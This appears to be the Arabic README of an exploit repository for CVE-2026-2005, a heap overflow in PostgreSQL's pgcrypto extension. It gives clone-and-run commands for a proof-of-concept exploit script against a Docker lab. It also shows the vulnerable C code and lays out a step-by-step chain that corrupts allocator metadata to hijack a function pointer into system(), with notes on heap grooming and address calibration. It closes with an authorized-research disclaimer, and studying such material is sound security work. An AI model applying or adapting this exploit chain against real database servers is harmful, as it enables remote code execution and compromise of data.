
استغلال لثغرة CVE-2026-2005، وهي تجاوز سعة في الكومة (heap overflow) في امتداد pgcrypto الخاص بـ PostgreSQL تؤدي إلى تنفيذ تعليمات برمجية عن بُعد. يتضمن مولّدات لإثبات المفهوم (PoC)، ومختبر Docker، وشرحًا تقنيًا مفصّلًا.
تنفيذ تعليمات برمجية عن بُعد عبر استعلام SQL واحد يستهدف امتداد pgcrypto الخاص بـ PostgreSQL. الثغرة هي تجاوز سعة مخزن مؤقت في الكومة في pgp_parse_pubenc_sesskey() تسمح بإفساد بيانات تعريف مُخصِّص MemoryContext الداخلي لـ PostgreSQL، مما يحقق تنفيذ تعليمات برمجية عشوائية كمستخدم postgres.
| CVE | CVE-2026-2005 |
| المكوّن | contrib/pgcrypto/pgp-pubdec.c |
| CWE | CWE-122 (تجاوز سعة مخزن مؤقت في الكومة) |
| CVSSv3.1 | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| المتأثر | PostgreSQL 14.0–14.20, 15.0–15.15, 16.0–16.11, 17.0–17.7, 18.0–18.1 |
| المُصحَّح | 14.21, 15.16, 16.12, 17.8, 18.2 |
| تم الإفصاح | 2026-02-12 |
| إصلاح الالتزام | 379695d3cc70d040b547d912ce4842090d917ece |



git clone https://github.com/dinosn/cve-2026-2005.git
cd cve-2026-2005/lab
docker compose up -d pg-exploit
# انتظر ~5 ثوانٍ لتهيئة postgres
python3 ../poc/exploit.py --run cve-2026-2005-pg-exploit

// contrib/pgcrypto/pgp-pubdec.c — pgp_parse_pubenc_sesskey()
ctx->cipher_algo = *msg;
ctx->sess_key_len = msglen - 3; // يتحكم فيه المهاجم
memcpy(ctx->sess_key, msg + 1, ctx->sess_key_len); // sess_key هو uint8[32]
ctx->sess_key هو مخزن مؤقت ثابت بحجم 32 بايت مضمّن في بنية PGP_Context المخصصة في الكومة. رسالة PGP مصممة بعناية تحتوي على مفتاح جلسة مشفّر بـ RSA بحجم مفرط تدفع sess_key_len إلى ~200 بايت، مما يتسبب في تجاوز السعة إلى تخصيصات الكومة المجاورة. يضيف الإصلاح فحصًا لحدود sess_key_len > PGP_MAX_KEY.
sess_key[32] يكتب بيانات تعريف مُخصِّص مزيفة في تخصيص MBuf المجاورMBuf->data = NULL بحيث يتم تخطي explicit_bzero أثناء التنظيفhdrmask المُزيَّف يُفكَّك إلى blockoffset=64، مما يعيد توجيه مؤشر الكتلة إلى بيانات يتحكم فيها المهاجمAllocSetFree يكتب عنوان الكتلة إلى MC+16 (حقل MemoryContext->methods)، مستبدلاً مؤشر الجدول الافتراضيMemoryContextDelete(MC) يستدعي methods->delete_context(MC) عبر جدولنا الافتراضي المزيف → system(MC)system() يقرأ بنية MemoryContext كنص: NodeTag 0x1D5 = "\xd5\x01\x00\x00" → ينفذ /usr/local/bin/\xd5\x01pgcrypto (CREATE EXTENSION pgcrypto)/usr/local/bin/\xd5\x01 (مضمّن في Dockerfile.exploit)├── README.md
├── poc/
│ ├── exploit.py # مولّد ومنفّذ استغلال مستقل
│ ├── gen_exploit_v7.py # باني حمولة مشروح
│ ├── gen_payload.py # مولّد PoC للتعطل فقط (جميع أحجام التجاوز)
│ ├── poc_big.sql # PoC تعطل مُولَّد مسبقًا (SIGSEGV)
│ └── poc_minimal.sql # PoC تجاوز سعة أدنى بحجم 4 بايت
├── lab/
│ ├── docker-compose.yml # مختبر كامل: ثغرة، مُصحَّح، تصحيح، استغلال
│ ├── Dockerfile.exploit # بناء إصدار + سكربت تشغيل (هدف RCE)
│ ├── Dockerfile.vuln # بناء ثغرة قياسي (عرض تعطل)
│ ├── Dockerfile.debug # بناء Cassert (عرض تأكيد)
│ ├── init.sql # تهيئة قاعدة البيانات
│ └── setup.sh # مساعد إعداد المختبر
├── reports/
│ ├── RCE-CHAIN.md # تقرير تقني مفصل عن الاستغلال
│ ├── REPORT.md # تقرير تحليل الثغرة
│ └── TODO-FOR-RCE.md # سجل التطوير (مكتمل)
├── screenshots/
│ ├── 01-target-verification.png
│ ├── 02-exploit-fire.png
│ ├── 03-rce-proof.png
│ └── 04-full-run.png
└── src/ # مقتطفات المصدر ذات الصلة
| الحاوية | المنفذ | الغرض |
|---|---|---|
pg-exploit | 5436 | هدف RCE (17.7 قياسي + سكربت تشغيل) |
pg-vuln | 5433 | عرض تعطل (17.7 قياسي، SIGSEGV) |
pg-fixed | 5434 | بناء مُصحَّح (17.8، يرفض الحمولة) |
pg-debug | 5435 | بناء تصحيح (cassert SIGABRT مع إسناد المصدر) |
# تشغيل جميع الحاويات
cd lab && docker compose up -d
# عرض تعطل (SIGSEGV على البناء القياسي)
docker exec cve-2026-2005-pg-vuln psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-vuln 2>&1 | grep "signal 11"
# بناء مُصحَّح (يرفض بأمان)
docker exec cve-2026-2005-pg-fixed psql -U postgres -d lab -f /tmp/poc_big.sql
# ERROR: Public key too big
# بناء تصحيح (تأكيد مع ملف:سطر)
docker exec cve-2026-2005-pg-debug psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-debug 2>&1 | grep "TRAP"
postgres:17.7-bookworm. تتطلب الإصدارات/البيئات المختلفة إعادة معايرة العناوين (عبر GDB أو تسريب معلومات).SELECT digest('x','md5')) في نفس الاتصال يثبّت تخطيط الكومة قبل استعلام الاستغلال.\xd5\x01 في PATH. يثبّته Dockerfile مسبقًا. يتطلب الاستغلال في العالم الحقيقي وصول كتابة مسبق أو نهج ROP/one-gadget مختلف.--enable-cassert تتوقف عند التأكيد قبل كتابة القائمة الحرة.379695d)هذا الاستغلال مُقدَّم لأغراض البحث الأمني المصرح به والتعليم فقط. استخدمه فقط في بيئات مختبرية خاضعة للرقابة مع تفويض صريح.